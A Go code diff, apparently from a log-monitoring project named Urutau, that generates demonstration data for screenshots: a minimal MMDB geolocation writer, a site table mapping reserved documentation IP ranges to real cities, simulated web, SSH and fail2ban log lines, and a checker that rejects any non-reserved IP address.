t = g.now.Add(-time.Duration(math.Pow(r.Float64(), 0.85) * float64(span)))
|
||||
if r.Float64() < hourWeight(t) {
|
||||
break
|
||||
}
|
||||
}
|
||||
v := g.vis[r.Intn(len(g.vis))]
|
||||
g.web = append(g.web, g.visit(v, t, g.domain())...)
|
||||
}
|
||||
// ataques espalhados, mais densos perto de agora
|
||||
for i := 0; i < g.cfg.bursts; i++ {
|
||||
t := g.now.Add(-time.Duration(math.Pow(r.Float64(), 2.2) * float64(span)))
|
||||
g.burst(g.pickAttacker(), t)
|
||||
}
|
||||
// o último trecho precisa estar cheio para os intervalos de 1 h e 6 h
|
||||
for i := 0; i < 90; i++ {
|
||||
g.burst(g.pickAttacker(), g.now.Add(-time.Duration(r.Float64()*float64(55*time.Minute))-time.Minute))
|
||||
}
|
||||
for i := 0; i < g.cfg.ssh; i++ {
|
||||
a := g.pickAttacker()
|
||||
t := g.now.Add(-time.Duration(math.Pow(r.Float64(), 1.8) * float64(span)))
|
||||
g.sshBrute(a.ip, t, 8+r.Intn(70))
|
||||
}
|
||||
g.sshBrute(g.pickAttacker().ip, g.now.Add(-25*time.Minute), 30)
|
||||
g.scenarios()
|
||||
}
|
||||
|
||||
func writeLines(path string, ls []line, now time.Time) error {
|
||||
var keep []line
|
||||
for _, l := range ls {
|
||||
if !l.t.After(now) {
|
||||
keep = append(keep, l)
|
||||
}
|
||||
}
|
||||
sort.SliceStable(keep, func(i, j int) bool { return keep[i].t.Before(keep[j].t) })
|
||||
var b strings.Builder
|
||||
for _, l := range keep {
|
||||
b.WriteString(l.s)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return os.WriteFile(path, []byte(b.String()), 0o644)
|
||||
}
|
||||
|
||||
func writeLogs(dir, host string, seed int64) error {
|
||||
cfg, ok := hostCfgs[host]
|
||||
if !ok {
|
||||
return fmt.Errorf("host desconhecido %q (use edge-1 ou edge-2)", host)
|
||||
}
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
g := &gen{rng: rand.New(rand.NewSource(seed)), now: now, cfg: cfg}
|
||||
g.generate()
|
||||
for _, f := range []struct {
|
||||
n string
|
||||
l []line
|
||||
}{{"access.log", g.web}, {"auth.log", g.auth}, {"fail2ban.log", g.f2b}} {
|
||||
if err := writeLines(filepath.Join(dir, f.n), f.l, now); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---- ao vivo: acrescenta linhas com o horário de agora enquanto as telas são capturadas ----
|
||||
|
||||
func live(dirs []string, hosts []string, d time.Duration) error {
|
||||
atk, vis := buildPools()
|
||||
type target struct {
|
||||
g *gen
|
||||
dir string
|
||||
}
|
||||
var ts []target
|
||||
for i, dir := range dirs {
|
||||
cfg := hostCfgs[hosts[i]]
|
||||
ts = append(ts, target{&gen{rng: rand.New(rand.NewSource(time.Now().UnixNano() + int64(i))), cfg: cfg, atk: atk, vis: vis}, dir})
|
||||
}
|
||||
end := time.Now().Add(d)
|
||||
for time.Now().Before(end) {
|
||||
for _, t := range ts {
|
||||
g := t.g
|
||||
g.now = time.Now().UTC()
|
||||
g.web, g.auth, g.f2b = nil, nil, nil
|
||||
switch x := g.rng.Intn(10); {
|
||||
case x < 6:
|
||||
g.burst(g.pickAttacker(), g.now)
|
||||
case x < 8:
|
||||
g.sshBrute(g.pickAttacker().ip, g.now, 1+g.rng.Intn(4))
|
||||
default:
|
||||
g.web = append(g.web, g.visit(g.vis[g.rng.Intn(len(g.vis))], g.now, g.domain())...)
|
||||
}
|
||||
// burst e visit escrevem no futuro próximo (alguns segundos): o seguidor lê tudo igual
|
||||
for _, f := range []struct {
|
||||
n string
|
||||
l []line
|
||||
}{{"access.log", g.web}, {"auth.log", g.auth}, {"fail2ban.log", g.f2b}} {
|
||||
if len(f.l) == 0 {
|
||||
continue
|
||||
}
|
||||
sort.SliceStable(f.l, func(i, j int) bool { return f.l[i].t.Before(f.l[j].t) })
|
||||
fh, err := os.OpenFile(filepath.Join(t.dir, f.n), os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0o644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, l := range f.l {
|
||||
fmt.Fprintln(fh, l.s)
|
||||
}
|
||||
fh.Close()
|
||||
}
|
||||
}
|
||||
time.Sleep(time.Duration(600+rand.Intn(900)) * time.Millisecond)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
// Comando demo gera os dados de demonstração das capturas de tela do Urutau:
|
||||
// uma base de geolocalização MMDB (city + asn) e logs de 30 dias (Traefik,
|
||||
// auth.log, fail2ban.log), tudo com endereços e domínios reservados para
|
||||
// documentação. Veja scripts/screenshots.sh.
|
||||
//
|
||||
// demo geo <dir> grava dbip-city-lite-*.mmdb e dbip-asn-lite-*.mmdb
|
||||
// demo logs <dir> <edge-1|edge-2> [seed] grava access.log, auth.log e fail2ban.log
|
||||
// demo live <segundos> <dir>:<host>... acrescenta eventos ao vivo, até o tempo acabar
|
||||
// demo check <arquivo>... falha se achar IP fora das faixas reservadas
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
if err := run(os.Args[1:]); err != nil {
|
||||
fmt.Fprintln(os.Stderr, "demo:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func run(a []string) error {
|
||||
if len(a) < 2 {
|
||||
return fmt.Errorf("uso: demo geo|logs|live|check ...")
|
||||
}
|
||||
switch a[0] {
|
||||
case "geo":
|
||||
return writeGeo(a[1])
|
||||
case "logs":
|
||||
if len(a) < 3 {
|
||||
return fmt.Errorf("uso: demo logs <dir> <edge-1|edge-2> [seed]")
|
||||
}
|
||||
seed := int64(1)
|
||||
if len(a) > 3 {
|
||||
seed, _ = strconv.ParseInt(a[3], 10, 64)
|
||||
}
|
||||
return writeLogs(a[1], a[2], seed)
|
||||
case "live":
|
||||
secs, err := strconv.Atoi(a[1])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var dirs, hosts []string
|
||||
for _, p := range a[2:] {
|
||||
d, h, ok := strings.Cut(p, ":")
|
||||
if !ok {
|
||||
return fmt.Errorf("esperado <dir>:<host>, recebi %q", p)
|
||||
}
|
||||
dirs, hosts = append(dirs, d), append(hosts, h)
|
||||
}
|
||||
return live(dirs, hosts, time.Duration(secs)*time.Second)
|
||||
case "check":
|
||||
return check(a[1:])
|
||||
}
|
||||
return fmt.Errorf("subcomando desconhecido %q", a[0])
|
||||
}
|
||||
|
||||
var ipRe = regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b|\b(?:[0-9a-fA-F]{0,4}:){2,7}[0-9a-fA-F]{0,4}\b`)
|
||||
|
||||
// check procura endereços IP em arquivos de texto e falha se algum estiver fora
|
||||
// das faixas reservadas.
|
||||
func check(files []string) error {
|
||||
bad := 0
|
||||
for _, f := range files {
|
||||
b, err := os.ReadFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
txt := string(b)
|
||||
for _, loc := range ipRe.FindAllStringIndex(txt, -1) {
|
||||
m := txt[loc[0]:loc[1]]
|
||||
if loc[0] > 0 && txt[loc[0]-1] == '/' && strings.HasSuffix(m, ".0.0.0") {
|
||||
continue // versão de navegador (Chrome/130.0.0.0), não um endereço
|
||||
}
|
||||
ip, err := netip.ParseAddr(m)
|
||||
if err != nil || reserved(ip) {
|
||||
continue
|
||||
}
|
||||
if ip.Is4() && strings.HasPrefix(m, "0.") {
|
||||
continue
|
||||
}
|
||||
fmt.Printf("%s: %s fora das faixas reservadas\n", f, m)
|
||||
if bad++; bad > 20 {
|
||||
return fmt.Errorf("muitos endereços fora das faixas")
|
||||
}
|
||||
}
|
||||
}
|
||||
if bad > 0 {
|
||||
return fmt.Errorf("%d endereços fora das faixas reservadas", bad)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,282 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"math"
|
||||
"math/big"
|
||||
"net/netip"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Writer MMDB mínimo (layout DB-IP/GeoIP2), copiado do writer de teste de
|
||||
// internal/geo e usado só para gerar a base de geolocalização de demonstração.
|
||||
|
||||
type f32 float32
|
||||
type u16 uint16
|
||||
type u32 uint32
|
||||
type u64 uint64
|
||||
type u128 struct{ *big.Int }
|
||||
type i32 int32
|
||||
|
||||
type mmEnc struct {
|
||||
buf bytes.Buffer
|
||||
strs map[string]int
|
||||
ptrs bool
|
||||
}
|
||||
|
||||
func ctrlBytes(typ byte, size int) []byte {
|
||||
var first byte
|
||||
var ext []byte
|
||||
if typ <= 7 {
|
||||
first = typ << 5
|
||||
} else {
|
||||
ext = []byte{typ - 7}
|
||||
}
|
||||
var sz []byte
|
||||
switch {
|
||||
case size < 29:
|
||||
first |= byte(size)
|
||||
case size < 285:
|
||||
first |= 29
|
||||
sz = []byte{byte(size - 29)}
|
||||
case size < 65821:
|
||||
first |= 30
|
||||
v := size - 285
|
||||
sz = []byte{byte(v >> 8), byte(v)}
|
||||
default:
|
||||
first |= 31
|
||||
v := size - 65821
|
||||
sz = []byte{byte(v >> 16), byte(v >> 8), byte(v)}
|
||||
}
|
||||
return append(append([]byte{first}, ext...), sz...)
|
||||
}
|
||||
|
||||
func (e *mmEnc) pointer(off int) {
|
||||
switch {
|
||||
case off < 2048:
|
||||
e.buf.Write([]byte{0x20 | byte(off>>8), byte(off)})
|
||||
case off < 2048+(1<<19):
|
||||
v := off - 2048
|
||||
e.buf.Write([]byte{0x28 | byte(v>>16), byte(v >> 8), byte(v)})
|
||||
case off < 526336+(1<<27):
|
||||
v := off - 526336
|
||||
e.buf.Write([]byte{0x30 | byte(v>>24), byte(v >> 16), byte(v >> 8), byte(v)})
|
||||
default:
|
||||
e.buf.Write([]byte{0x38, byte(off >> 24), byte(off >> 16), byte(off >> 8), byte(off)})
|
||||
}
|
||||
}
|
||||
|
||||
func uintBytes(v uint64) []byte {
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint64(b[:], v)
|
||||
i := 0
|
||||
for i < 8 && b[i] == 0 {
|
||||
i++
|
||||
}
|
||||
return b[i:]
|
||||
}
|
||||
|
||||
func (e *mmEnc) str(s string) {
|
||||
if e.ptrs {
|
||||
if off, ok := e.strs[s]; ok {
|
||||
e.pointer(off)
|
||||
return
|
||||
}
|
||||
e.strs[s] = e.buf.Len()
|
||||
}
|
||||
e.buf.Write(ctrlBytes(2, len(s)))
|
||||
e.buf.WriteString(s)
|
||||
}
|
||||
|
||||
func (e *mmEnc) value(v any) {
|
||||
switch x := v.(type) {
|
||||
case string:
|
||||
e.str(x)
|
||||
case float64:
|
||||
e.buf.Write(ctrlBytes(3, 8))
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint64(b[:], math.Float64bits(x))
|
||||
e.buf.Write(b[:])
|
||||
case f32:
|
||||
e.buf.Write(ctrlBytes(15, 4))
|
||||
var b [4]byte
|
||||
binary.BigEndian.PutUint32(b[:], math.Float32bits(float32(x)))
|
||||
e.buf.Write(b[:])
|
||||
case []byte:
|
||||
e.buf.Write(ctrlBytes(4, len(x)))
|
||||
e.buf.Write(x)
|
||||
case u16:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(5, len(b)))
|
||||
e.buf.Write(b)
|
||||
case u32:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(6, len(b)))
|
||||
e.buf.Write(b)
|
||||
case uint32:
|
||||
e.value(u32(x))
|
||||
case u64:
|
||||
b := uintBytes(uint64(x))
|
||||
e.buf.Write(ctrlBytes(9, len(b)))
|
||||
e.buf.Write(b)
|
||||
case int:
|
||||
e.value(u32(x))
|
||||
case u128:
|
||||
b := x.Bytes()
|
||||
e.buf.Write(ctrlBytes(10, len(b)))
|
||||
e.buf.Write(b)
|
||||
case i32:
|
||||
var b [4]byte
|
||||
binary.BigEndian.PutUint32(b[:], uint32(x))
|
||||
e.buf.Write(ctrlBytes(8, 4))
|
||||
e.buf.Write(b[:])
|
||||
case bool:
|
||||
n := 0
|
||||
if x {
|
||||
n = 1
|
||||
}
|
||||
e.buf.Write(ctrlBytes(14, n))
|
||||
case []any:
|
||||
e.buf.Write(ctrlBytes(11, len(x)))
|
||||
for _, it := range x {
|
||||
e.value(it)
|
||||
}
|
||||
case map[string]any:
|
||||
keys := make([]string, 0, len(x))
|
||||
for k := range x {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
e.buf.Write(ctrlBytes(7, len(x)))
|
||||
for _, k := range keys {
|
||||
e.str(k)
|
||||
e.value(x[k])
|
||||
}
|
||||
default:
|
||||
panic("tipo não suportado no writer")
|
||||
}
|
||||
}
|
||||
|
||||
type mmEntry struct {
|
||||
pfx netip.Prefix
|
||||
val any
|
||||
}
|
||||
|
||||
type trieNode struct {
|
||||
child [2]*trieNode
|
||||
data int // índice+1 em entries; 0 = nenhum
|
||||
}
|
||||
|
||||
// buildMMDB gera um arquivo MMDB sintético.
|
||||
func buildMMDB(ipVersion, recSize int, entries []mmEntry, usePointers bool, buildEpoch uint64, dbType string) []byte {
|
||||
root := &trieNode{}
|
||||
for i, en := range entries {
|
||||
a := en.pfx.Addr().Unmap()
|
||||
bits := en.pfx.Bits()
|
||||
var raw []byte
|
||||
if a.Is4() {
|
||||
a4 := a.As4()
|
||||
if ipVersion == 6 {
|
||||
raw = append(make([]byte, 12), a4[:]...)
|
||||
bits += 96
|
||||
} else {
|
||||
raw = a4[:]
|
||||
}
|
||||
} else {
|
||||
a16 := a.As16()
|
||||
raw = a16[:]
|
||||
}
|
||||
n := root
|
||||
for b := 0; b < bits; b++ {
|
||||
bit := (raw[b/8] >> (7 - uint(b%8))) & 1
|
||||
if n.child[bit] == nil {
|
||||
n.child[bit] = &trieNode{}
|
||||
}
|
||||
n = n.child[bit]
|
||||
}
|
||||
n.data = i + 1
|
||||
}
|
||||
// herança: prefixos mais específicos não podem apagar a cobertura do mais amplo
|
||||
var fill func(n *trieNode, inh int)
|
||||
fill = func(n *trieNode, inh int) {
|
||||
if n.child[0] == nil && n.child[1] == nil {
|
||||
return
|
||||
}
|
||||
if n.data != 0 {
|
||||
inh = n.data
|
||||
}
|
||||
for i := range n.child {
|
||||
if n.child[i] == nil && inh != 0 {
|
||||
n.child[i] = &trieNode{data: inh}
|
||||
} else if n.child[i] != nil {
|
||||
fill(n.child[i], inh)
|
||||
}
|
||||
}
|
||||
}
|
||||
fill(root, 0)
|
||||
// numerar nós (pré-ordem), folhas com dados não são nós
|
||||
var nodes []*trieNode
|
||||
idx := map[*trieNode]int{}
|
||||
var walk func(n *trieNode)
|
||||
walk = func(n *trieNode) {
|
||||
idx[n] = len(nodes)
|
||||
nodes = append(nodes, n)
|
||||
for _, c := range n.child {
|
||||
if c != nil && (c.child[0] != nil || c.child[1] != nil) {
|
||||
walk(c)
|
||||
}
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
nodeCount := len(nodes)
|
||||
// dados
|
||||
enc := &mmEnc{strs: map[string]int{}, ptrs: usePointers}
|
||||
offs := make([]int, len(entries))
|
||||
for i, en := range entries {
|
||||
offs[i] = enc.buf.Len()
|
||||
enc.value(en.val)
|
||||
}
|
||||
rec := func(c *trieNode) int {
|
||||
switch {
|
||||
case c == nil:
|
||||
return nodeCount
|
||||
case c.child[0] != nil || c.child[1] != nil:
|
||||
return idx[c]
|
||||
default:
|
||||
return nodeCount + 16 + offs[c.data-1]
|
||||
}
|
||||
}
|
||||
var out bytes.Buffer
|
||||
for _, n := range nodes {
|
||||
l, r := rec(n.child[0]), rec(n.child[1])
|
||||
switch recSize {
|
||||
case 24:
|
||||
out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte(r >> 16), byte(r >> 8), byte(r)})
|
||||
case 28:
|
||||
out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte((l>>24)<<4) | byte(r>>24), byte(r >> 16), byte(r >> 8), byte(r)})
|
||||
case 32:
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint32(b[:], uint32(l))
|
||||
binary.BigEndian.PutUint32(b[4:], uint32(r))
|
||||
out.Write(b[:])
|
||||
}
|
||||
}
|
||||
out.Write(make([]byte, 16))
|
||||
out.Write(enc.buf.Bytes())
|
||||
out.WriteString("\xab\xcd\xefMaxMind.com")
|
||||
meta := &mmEnc{}
|
||||
meta.value(map[string]any{
|
||||
"binary_format_major_version": u16(2),
|
||||
"binary_format_minor_version": u16(0),
|
||||
"build_epoch": u64(buildEpoch),
|
||||
"database_type": dbType,
|
||||
"ip_version": u16(ipVersion),
|
||||
"node_count": u32(nodeCount),
|
||||
"record_size": u16(recSize),
|
||||
"languages": []any{"en", "pt-BR"},
|
||||
"description": map[string]any{"en": "teste"},
|
||||
})
|
||||
out.Write(meta.buf.Bytes())
|
||||
return out.Bytes()
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
)
|
||||
|
||||
// site é uma sub-faixa de endereços RESERVADOS (198.18.0.0/15, 203.0.113.0/24,
|
||||
// 198.51.100.0/24, 192.0.2.0/24, 2001:db8::/32) mapeada para uma cidade real.
|
||||
// Nada aqui é um endereço de verdade: a geolocalização existe só na base de
|
||||
// demonstração gerada por este programa.
|
||||
type site struct {
|
||||
id string
|
||||
cc string
|
||||
country string
|
||||
countryPT string
|
||||
cont string
|
||||
region string
|
||||
city string
|
||||
lat, lon float64
|
||||
asn uint32 // 64512..65534 (uso privado)
|
||||
org string
|
||||
v4 []string
|
||||
v6 []string
|
||||
legit bool // faixa de visitantes legítimos (senão, de atacantes)
|
||||
}
|
||||
|
||||
var sites = []site{
|
||||
// ---- atacantes (198.18.0.0/16 e faixas de documentação) ----
|
||||
{"nl1", "NL", "Netherlands", "Países Baixos", "EU", "North Holland", "Amsterdam", 52.3676, 4.9041, 64512, "Demo Hosting BV", []string{"198.18.1.0/24"}, []string{"2001:db8:1::/48"}, false},
|
||||
{"nl2", "NL", "Netherlands", "Países Baixos", "EU", "North Holland", "Amsterdam", 52.3676, 4.9041, 64513, "Example VPN Services BV", []string{"198.18.2.0/24", "203.0.113.0/25"}, nil, false},
|
||||
{"de1", "DE", "Germany", "Alemanha", "EU", "Hesse", "Frankfurt am Main", 50.1109, 8.6821, 64514, "Beispiel Cloud GmbH", []string{"198.18.3.0/24", "203.0.113.128/25"}, []string{"2001:db8:3::/48"}, false},
|
||||
{"de2", "DE", "Germany", "Alemanha", "EU", "Berlin", "Berlin", 52.52, 13.405, 64515, "Demo Server GmbH", []string{"198.18.4.0/24"}, nil, false},
|
||||
{"cn1", "CN", "China", "China", "AS", "Guangdong", "Shenzhen", 22.5431, 114.0579, 64516, "Demo Telecom Guangdong", []string{"198.18.5.0/24", "198.18.6.0/24"}, []string{"2001:db8:5::/48"}, false},
|
||||
{"cn2", "CN", "China", "China", "AS", "Zhejiang", "Hangzhou", 30.2741, 120.1551, 64517, "Demo Cloud Computing Co", []string{"198.18.7.0/24"}, nil, false},
|
||||
{"cn3", "CN", "China", "China", "AS", "Beijing", "Beijing", 39.9042, 116.4074, 64518, "Example Unicom Beijing", []string{"198.18.8.0/24"}, nil, false},
|
||||
{"us1", "US", "United States", "Estados Unidos", "NA", "Virginia", "Ashburn", 39.0438, -77.4874, 64519, "Demo Cloud Inc", []string{"198.18.9.0/24", "198.51.100.0/25"}, []string{"2001:db8:9::/48"}, false},
|
||||
{"us2", "US", "United States", "Estados Unidos", "NA", "Illinois", "Chicago", 41.8781, -87.6298, 64520, "Example Hosting LLC", []string{"198.18.10.0/24"}, nil, false},
|
||||
{"us3", "US", "United States", "Estados Unidos", "NA", "California", "San Jose", 37.3382, -121.8863, 64521, "Demo Datacenter Corp", []string{"198.18.11.0/24"}, nil, false},
|
||||
{"br1", "BR", "Brazil", "Brasil", "SA", "Pernambuco", "Recife", -8.0476, -34.877, 64522, "Exemplo Telecom", []string{"198.18.12.0/24", "192.0.2.128/25"}, nil, false},
|
||||
{"br2", "BR", "Brazil", "Brasil", "SA", "São Paulo", "São Paulo", -23.5505, -46.6333, 64523, "Exemplo Banda Larga", []string{"198.18.13.0/24"}, nil, false},
|
||||
{"br3", "BR", "Brazil", "Brasil", "SA", "Minas Gerais", "Belo Horizonte", -19.9167, -43.9345, 64524, "Exemplo Fibra", []string{"198.18.14.0/24"}, nil, false},
|
||||
{"br4", "BR", "Brazil", "Brasil", "SA", "Bahia", "Salvador", -12.9777, -38.5016, 64525, "Exemplo Movel Wireless", []string{"198.18.15.0/24"}, nil, false},
|
||||
{"in1", "IN", "India", "Índia", "AS", "Maharashtra", "Mumbai", 19.076, 72.8777, 64526, "Demo Broadband India", []string{"198.18.16.0/24"}, nil, false},
|
||||
{"in2", "IN", "India", "Índia", "AS", "Karnataka", "Bengaluru", 12.9716, 77.5946, 64527, "Example Cloud India", []string{"198.18.17.0/24"}, nil, false},
|
||||
{"ru1", "RU", "Russia", "Rússia", "EU", "Moscow", "Moscow", 55.7558, 37.6173, 64528, "Demo Hosting RU", []string{"198.18.18.0/24"}, []string{"2001:db8:12::/48"}, false},
|
||||
{"ru2", "RU", "Russia", "Rússia", "EU", "Saint Petersburg", "Saint Petersburg", 59.9311, 30.3609, 64529, "Example Telecom Nord", []string{"198.18.19.0/24"}, nil, false},
|
||||
{"sg1", "SG", "Singapore", "Singapura", "AS", "Central Singapore", "Singapore", 1.3521, 103.8198, 64530, "Demo Cloud Singapore", []string{"198.18.20.0/24", "198.51.100.128/25"}, nil, false},
|
||||
{"gb1", "GB", "United Kingdom", "Reino Unido", "EU", "England", "London", 51.5074, -0.1278, 64531, "Example Hosting Ltd", []string{"198.18.21.0/24"}, nil, false},
|
||||
{"hk1", "HK", "Hong Kong", "Hong Kong", "AS", "Central and Western", "Hong Kong", 22.3193, 114.1694, 64532, "Demo Datacenter HK", []string{"198.18.22.0/24"}, nil, false},
|
||||
{"vn1", "VN", "Vietnam", "Vietnã", "AS", "Ho Chi Minh", "Ho Chi Minh City", 10.8231, 106.6297, 64533, "Demo Telecom Vietnam", []string{"198.18.23.0/24"}, nil, false},
|
||||
{"kr1", "KR", "South Korea", "Coreia do Sul", "AS", "Seoul", "Seoul", 37.5665, 126.978, 64534, "Example Telecom Korea", []string{"198.18.24.0/24"}, nil, false},
|
||||
{"mon", "BR", "Brazil", "Brasil", "SA", "São Paulo", "São Paulo", -23.5505, -46.6333, 64535, "Exemplo Monitoramento Hosting", []string{"192.0.2.0/25"}, nil, false},
|
||||
|
||||
// ---- visitantes legítimos (198.19.0.0/16) ----
|
||||
{"v-pe", "BR", "Brazil", "Brasil", "SA", "Pernambuco", "Recife", -8.0476, -34.877, 64540, "Exemplo Telecom", []string{"198.19.1.0/24", "198.19.2.0/24"}, nil, true},
|
||||
{"v-sp", "BR", "Brazil", "Brasil", "SA", "São Paulo", "São Paulo", -23.5505, -46.6333, 64541, "Exemplo Banda Larga", []string{"198.19.3.0/24", "198.19.4.0/24"}, nil, true},
|
||||
{"v-mg", "BR", "Brazil", "Brasil", "SA", "Minas Gerais", "Belo Horizonte", -19.9167, -43.9345, 64542, "Exemplo Fibra", []string{"198.19.5.0/24"}, nil, true},
|
||||
{"v-ba", "BR", "Brazil", "Brasil", "SA", "Bahia", "Salvador", -12.9777, -38.5016, 64543, "Exemplo Movel Wireless", []string{"198.19.6.0/24"}, nil, true},
|
||||
{"v-pt", "PT", "Portugal", "Portugal", "EU", "Lisbon", "Lisbon", 38.7223, -9.1393, 64544, "Exemplo Telecom Portugal", []string{"198.19.7.0/24"}, nil, true},
|
||||
{"v-us", "US", "United States", "Estados Unidos", "NA", "New York", "New York", 40.7128, -74.006, 64545, "Demo Broadband Inc", []string{"198.19.8.0/24"}, nil, true},
|
||||
{"v-de", "DE", "Germany", "Alemanha", "EU", "Bavaria", "Munich", 48.1351, 11.582, 64546, "Beispiel Kabel GmbH", []string{"198.19.9.0/24"}, nil, true},
|
||||
{"v-gb", "GB", "United Kingdom", "Reino Unido", "EU", "England", "Manchester", 53.4808, -2.2426, 64547, "Example Broadband Ltd", []string{"198.19.10.0/24"}, nil, true},
|
||||
{"v-in", "IN", "India", "Índia", "AS", "Delhi", "New Delhi", 28.6139, 77.209, 64548, "Demo Broadband India", []string{"198.19.11.0/24"}, nil, true},
|
||||
{"v-ar", "AR", "Argentina", "Argentina", "SA", "Buenos Aires", "Buenos Aires", -34.6037, -58.3816, 64549, "Ejemplo Telecom Argentina", []string{"198.19.12.0/24"}, nil, true},
|
||||
}
|
||||
|
||||
func siteByID(id string) *site {
|
||||
for i := range sites {
|
||||
if sites[i].id == id {
|
||||
return &sites[i]
|
||||
}
|
||||
}
|
||||
panic("site desconhecido: " + id)
|
||||
}
|
||||
|
||||
// reserved confirma que um endereço está numa das faixas reservadas permitidas.
|
||||
func reserved(a netip.Addr) bool {
|
||||
for _, p := range []string{"198.18.0.0/15", "203.0.113.0/24", "198.51.100.0/24", "192.0.2.0/24", "2001:db8::/32"} {
|
||||
if netip.MustParsePrefix(p).Contains(a) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
Reference in new issue
Block a user